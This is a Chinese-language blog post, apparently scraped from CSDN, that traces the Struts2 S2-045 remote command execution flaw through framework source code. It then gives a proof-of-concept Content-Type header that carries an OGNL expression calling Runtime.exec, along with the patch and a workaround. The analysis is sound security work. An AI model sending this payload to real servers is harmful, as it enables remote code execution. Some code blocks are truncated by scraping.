



raintungli

关注

Struts2远程命令执行漏洞 S2-045 源码分析

raintungli 于 2017-03-08 02:04:34 发布 阅读量9.3k 收藏6 点赞数3

分类专栏: 攻击与防护 JVM 源码分析 IP/TCP JVM 源码分析 文章标签: S2-045 Struts2 OGNL 远程执行命令

JVM 源码分析 同时被 3 个专栏收录

23 订阅 57

S2 又爆OGNL的高危漏洞S-045，又是OGNL的漏洞

分析

Struts 的上传request

在文件里，Struts默认使用的是common upload 的上传组件，为了能被action访问到上传的文件，通常会重新封装request，Spring也是这么做。
在StreamMultiPartRequest.java中

```
public void parse(HttpServletRequest request, String saveDir)
    throws IOException {
    try {
        setLocale(request);
        processUpload(request, saveDir);
    } catch (Exception e) {
        e.printStackTrace();
        String errorMessage = buildErrorMessage(e, new Object[]{});
        if (!errors.contains(errorMessage))
            errors.add(errorMessage);
    }
}
```

当上传协议抛出异常的时候，struts 会去尝试去构建错误信息

```
protected String buildErrorMessage(Throwable e, Object[] args) {
    String errorKey = "struts.messages.upload.error." + e.getClass().getSimpleName();
    if (LOG.isDebugEnabled()) {
        LOG.debug("Preparing error message for key: [#0]", errorKey);
    }
    return LocalizedTextUtil.findText(this.getClass(), errorKey, defaultLocale, e.getMessage(), args);
}
```

来证明错误信息可以支持多语言，在构建上传错误的时候，使用了localizedTextUtil，

用struts.messages.upload.error. classname 作为资源的文件的key

来使用了异常的message 作为查找的默认message

```
public static String findText(Class aClass, String aTextName, Locale locale, String defaultMessage, Object[] args,
                             ValueStack valueStack) {
    String indexedTextName = null;
    .....
    // get default
    GetDefaultMessageReturnArg result;
    if (indexedTextName == null) {
        result = getDefaultMessage(aTextName, locale, valueStack, args, defaultMessage);
    } else {
        result = getDefaultMessage(aTextName, locale, valueStack, args, null);
        if (result != null && result.message != null)
            return result.message;
    }
}
```

```

    }14 |         result = getDefaultMessage(indexedTextName, locale, valueStack, args, defaultMessage);
    }

    // could we find the text, if not log a warn
    if (unableToFindTextForKey(result) && LOG.isDebugEnabled()) {
        String warn = "Unable to find text for key '" + aTextName + "' ";
        if (indexedTextName != null) {
            warn += " or indexed key '" + indexedTextName + "' ";
        }
        warn += "in class '" + aClass.getName() + "' and locale '" + locale + "'";
        LOG.debug(warn);
    }

    return result != null ? result.message : null;
}

```

尝试从default message里获取内容

```

/**
 * Gets the default message.
 */
private static GetDefaultMessageReturnArg getDefaultMessage(String key, Locale locale, ValueStack valueStack, Object[] args,
                                                            String defaultMessage) {

    GetDefaultMessageReturnArg result = null;
    boolean found = true;

    if (key != null) {
        String message = findDefaultText(key, locale);

        if (message == null) {
            message = defaultMessage;
            found = false; // not found in bundles
        }

        // defaultMessage may be null
        if (message != null) {
            MessageFormat mf = buildMessageFormat(TextParseUtil.translateVariables(message, valueStack), locale);

            String msg = formatWithNullDetection(mf, args);
            result = new GetDefaultMessageReturnArg(msg, found);
        }
    }

    return result;
}

```

当key无法在资源文件中找到的时候，会直接使用默认的消息，也就是刚才的异常信息作为返回的信息，但是在将message格式化的时候，struts定义的TextParseUtil.translateVariables 转化message里的参数，熟悉OGNL的人都知道，TextParseUtil.translateVariables 是支持OGNL的

TextParseUtil.translateVariables

可以在message体中的\${ognl}或者%(ognl)OGNL表达式格式

common Upload file 的处理

在Struts里是可以直接执行异常里的错误信息，那么在common upload file 组件的异常里我们看看哪些是会把客户端传递的值作为错误信息返回

的，我们在FileUploadBase.java中，发现了一个方法

```

FileItemIteratorImpl(RequestContext ctx)
    throws FileUploadException, IOException {
    if (ctx == null) {
        throw new NullPointerException("ctx par
    }
}

```



raintungli

关注

```
String contentType = ctx.getContentType();
8 |         if ((null == contentType)
    || (!contentType.toLowerCase(Locale.ENGLISH).startsWith(MULTIPART))) {
    throw new InvalidContentTypeException(
        format("the request doesn't contain a %s or %s stream, content type header is %s",
            MULTIPART_FORM_DATA, MULTIPART_MIXED, contentType));
    }
}
```

content type不是以multipart/为头的时候，就会抛出异常，并且直接将客户端输入的信息，作为异常信息返回

目的content-type校验

在dispatch 里在封装request的时候做了一次content-type校验

```
public HttpServletRequest wrapRequest(HttpServletRequest request) throws IOException {
    // don't wrap more than once
    if (request instanceof StrutsRequestWrapper) {
        return request;
    }

    String content_type = request.getContentType();
    if (content_type != null && content_type.contains("multipart/form-data")) {
        MultiPartRequest mpr = getMultiPartRequest();
        LocaleProvider provider = getContainer().getInstance(LocaleProvider.class);
        request = new MultiPartRequestWrapper(mpr, request, getSaveDir(), provider, disableRequestAttributeValueStackLookup);
    } else {
        request = new StrutsRequestWrapper(request, disableRequestAttributeValueStackLookup);
    }

    return request;
}
```

竟然是contains, 而在upload file里做的校验是以multipart/为头，真不知道struts 为何在做标准协议解析的时候如此随便？

我们的poc

从content-type入手

构造 test multipart/form-data 绕过struts的dispatch的防御

继续添加常见的OGNL的表达式

```
$_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,@java.lang.Runtime@getRuntime().exec('calc');
```

构造POC

```
Content-type:test multipart/form-data %{"$_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,@java.lang.Runtime@getRuntime().exec('calc')}; b
```

绕过struts

禁止了异常的信息可执行OGNL表达式，在2.3.32版本中

```
if (LocalizedTextUtil.findText(this.getClass(), errorKey) != null) {
    return LocalizedTextUtil.findText(this.getClass(), errorKey);
} else {
```



raintungli

关注

```
return LocalizedTextUtil.findText(this.getClass(), errorKey, defaultLocale, null, args);
5 | }
```

信息只是作为参数传递显示了

时解决方案

原文件中配置，让struts能从资源文件中获取到值

```
uts.messages.upload.error.InvalidContentTypeException=exception
```

这里要仔细检查common upload的代码，或者自己封装的MultiPartRequest，如果还有直接输出客户端的输入的时候，需要写全

```
essages.upload.error.*
```

复现 - - -Struts2(s2-045)远程命令执行漏洞 weixin_1
从漏洞的角度分析Struts2(s2-045)远程命令执行漏洞，利用java详细讲解造成漏洞的原因，包含了Struts2高危漏洞exp的扫描利用工具

s2-057 远程代码执行漏洞 weixin_
s2-057 远程代码执行漏洞 漏洞原理 Struts2 处理request请求过程原理 来源:春秋。触发漏洞的关键点就在于可以修改struts2的配置文件,使得namespace变得可控,进而形成OGNI

s2-045复现
s2的rce本质都是一样的(除了S2-052以外),都是Struts2框架执行了恶意用户传进来的OGNL表达式,造成远程代码执行。【正文】0x00 漏洞原理 Apache Struts 2被曝存在远程命

heStruts2(S2-045)漏洞升级指南资源-CSDN文库
浏览量73次。### Apache Struts2 (S2-045) 漏洞升级指南 ### 一、漏洞概述 **Apache Struts2** 是一个基于MVC架构的开源Web应用程序框架,广泛应用于Java EE的企业级应

s2 远程代码执行漏洞(s2-045)s2-046)修复所用到的包
过滤 Content-Type 、filename里的内容，严禁ognl表达式相关字段。2.如果您使用基于Jakarta插件，请升级到Apache Struts 2.3.32或2.5.10.1版本。（强烈推荐）3.升级到2.3

s2远程代码执行漏洞 weixin_
2远程代码执行漏洞

s2Action参数详细说明_strust2action带参数资源-CSDN文库
提供的“Struts2漏洞检测(带自己编写使用说明一看就上手)”正是针对这些问题,帮助用户快速检测和修复Struts2框架的安全隐患。首先,让我们理解Struts2漏洞的常见类型: 1. **S

t2漏洞汇总_stat2漏洞之王
该漏洞原理和S2 003一样,S2是003由于#引起的,因此官方在这个更新钟,仅仅是将进行#过滤防止引发安全问题,但是#依然可以通过编码的形式进行绕过 影响版本: 2.0.0 - 2.1.8.1 ;

命令执行漏洞 最新发布 2201_
出现这种漏洞，是因为应用系统从设计上需要给用户指定远程命令操作的接口，比如我们常见的路由器、防火墙、入侵检测等设备的web管理界面上，一般会给用户提一

s2 S2-015 远程代码执行漏洞（CVE-2013-2135） qq
ie Struts 2是一个用于构建企业级Java Web应用程序的开源Web应用程序框架。它采用MVC（Model-View-Controller）模式，允许开发人员将业务逻辑、数据传输和用户界面分

s5 java_S2-045漏洞初步分析
介绍了struts2的s2-045漏洞,该漏洞影响Struts 2.3.5 - Struts 2.3.31和Struts 2.5 - Struts 2.5.10版本,允许攻击者通过HTTP头Content-Type执行命令。文章详细分析了POC和漏洞成

s2历史漏洞复现_strust2反序列化流量
016 ls docker-compose up -d 1 2 3 4 5 6 访问靶场地址。 poc测试 /index.action?redirect:%25%7B5*5%7D 1 命令被成功执行。说明存在漏洞。使用工具检测。 S2-045(CVE-2

s2 远程代码执行漏洞复现（S2-001） Welcom
2 是一个基于 MVC 设计模式的 Web 应用框架，作为控制器来建立模型与视图的数据交互。此漏洞源于 Struts 2 框架中的一个标签处理功能：altSyntax。在开启时，支持对标签

s2 远程代码执行漏洞S2-001分析
了解 OGNL 表达式，OGNL（Object Graphic Navigatino Language）的中文全称为“对象图导航语言”，是应用于Java中的一个开源的功能强大的表达式语言（Expression Lang

s2漏洞_学生会私房菜【20200723期】S2045 Remote Code Executi...
漏洞成因分析 参考网站:https://www.anquanke.com/post/id/85628 在org.apache.struts2.dispatcher.ng.filter.Strust2PrepareAndExecuteFilter对request进行封装 封装流程:ng\Prep



rainingli

关注

s2安全漏洞修复

CVE-2017-5638 (**Struts2 S2-045**) ：这是一个严重影响的**远程**代码**执行漏洞**，它允许攻击者通过恶意构造的HTTP请求头来**执行**任意代码。该**漏洞**是由于**OGNL**（Object-Graph Navigation Language）

s2漏洞？

S2-045是其中一个著名的**远程**代码**执行漏洞**，它出现在**Struts2**的**OGNL**（Object-Graph Navigation Language）表达式解析中。**OGNL**是一种强大的表达式语言，用于在对象图中导航

s2安全漏洞实用

Struts2安全**漏洞**概述**：介绍**Struts2**框架常见的安全问题，如CVE-2017-5638（**S2-045**）等高危**漏洞**。2. ****漏洞**成因**：解释**漏洞**是如何产生的，例如通过不安全的**OGNL**表达式

struts2的安全漏洞(编号S2-045、S2-046)

Struts2框架的系统提供一个完美的解决方案，里面的**struts2**版本jar都统一好，大家在用的时候直接将对应的jar先删除，然后用这里的jar包。必免jar冲突了

the Struts2远程代码执行漏洞(S2-001)复现

ie Struts2远程代码**执行漏洞**(S2-001)复现

s2远程代码执行漏洞复现

2**远程**代码**执行漏洞**介绍、**原理**和复现，以及怎么使用工具检测。

s2最全面的远程命令执行漏洞梳理

的全称是对象图导航语言（Object-Graph Navigation Language），它是一种用于获取和设置 Java 对象属性的开源表达式语言，以及其他附加功能，是**Struts2**的默认表达式语言

s2远程代码执行

S2**漏洞**是一个经典的**漏洞**系列，根源在于**Struts2**引入了**OGNL**表达式使得框架具有灵活的动态性。随着整体框架的补丁完善，现在想挖掘新的**Struts2漏洞**会比以前困难很多，从S2-045

s2 S2-045漏洞

ie Struts 2被曝存在**远程**命令**执行漏洞**，**漏洞**编号**S2-045**，CVE编号CVE-2017-5638，在使用基于Jakarta插件的文件上传功能时，有可能存在**远程**命令**执行**，导致系统被黑客入侵

s2漏洞分析 热门推荐

析写的我有点汗颜，强烈建议抵制**struts2**，改为更加可靠的SpringMVC。背景是，**Struts2**默认处理multipart报文的解析器是jakarta，是这个组件出现了问题。该组件定义在了jakarta.servlet-api

s2命令执行漏洞s2-045修复

S2命令**执行漏洞**s2-045是指**Struts2**框架中的一个安全**漏洞**，攻击者可以通过特殊构造的参数来**执行**任意**命令**。修复**Struts2命令执行漏洞s2-045**需要采取以下步骤：1. 升级**Struts2**到最新版本

关于我们 招贤纳士 商务合作 寻求报道 400-660-0108 kefu@csdn.net 在线客服 工作时间 8:30-22:00

公安备案号11010502030143 京ICP备19004658号 京网文〔2020〕1039-165号 经营性网站备案信息 北京互联网违法和不良信息举报中心

家长监护 网络110报警服务 中国互联网举报中心 Chrome商店下载 账号管理规范 版权与免责声明 版权申诉 出版物许可证 营业执照

©1999-2024北京创新乐知网络技术有限公司

raintungli

专家

码龄17年 暂无认证

1万+	171万+	94万+	
周排名	总排名	访问	等级
551	194	109	423
粉丝	获赞	评论	收藏



私信

关注



主文章



章

sh 的崩溃日志详细分析及注意点

08

习：神经网络中的前向传播和反向传

佳导 44903



raintungli

关注

TCP connection timeout的原因查找
33

的backlog详解 39367

冯系列: java 中的connection reset
理分析 34531

三

静态分析	10篇
JVM 源码分析	55篇
Soot	7篇
Soot	
Spark大数据平台源码分析	16篇
大数据	17篇



论

态分析框架（一）整体框架
e: 请问有没有文章中的sootclass思
的完整版？

态分析框架（二）Soot的核心
: 在Soot中，i0<0 和 i1=0 这两个语
以被分解成Unit和Value。要区分l ...

态分析框架（二）Soot的核心
: 在Soot分析框架中，Unit和Value是
心概念，用于表示和操作Java字 ...

攻击系列: shellcode在linux x86 6...
che: 您好！请问rip 将会指向地址0x
50这个地址前16位就是0，会出 ...

冯系列: java如何实现多态性，基...
tputStream: 直接使用父类的函数编
对应的子类实现函数——请问什 ...

章

冯分析-概念：敏感性

l 编译优化：空检查擦除

l 编译优化：合并相同的表达式-
Value Numbering 之实现

： 1篇	2020年 3篇
： 10篇	2018年 5篇
： 23篇	2016年 11篇
： 10篇	2014年 7篇
： 15篇	2012年 12篇
： 20篇	2010年 4篇

斤

struts 的上传request

Common Upload file 的处理

自的content-type校验

门的poc



raintungli

关注

十级struts

临时解决方案



raintungli

关注